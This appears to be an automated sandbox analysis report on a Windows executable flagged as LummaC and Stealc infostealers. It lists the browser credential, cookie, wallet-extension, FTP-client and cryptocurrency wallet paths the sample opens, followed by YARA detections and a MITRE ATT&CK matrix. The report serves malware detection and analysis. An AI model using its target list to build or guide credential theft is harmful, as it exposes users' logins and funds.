Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 0000000A.00000003.2750846673.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2745433151.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2670882787.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2750984727.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2672254040.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2704318174.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2639292968.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2670234322.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 8024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 5472, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000031.00000002.3038522751.0000000000EB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2732051750.00000000015C3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 8e42b8a1d9.exe PID: 824, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8e42b8a1d9.exe PID: 7500, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 8024, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1026aa8304.exe PID: 5472, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000009.00000003.2537064102.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2681724270.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2775509635.0000000001309000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2593021915.000000000081E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2772878233.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2593696998.00000000009F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 3020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 3c882da37a.exe PID: 4956, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	3 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	12 Software Packing	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	12 Process Injection	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	2 Bypass User Account Control	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
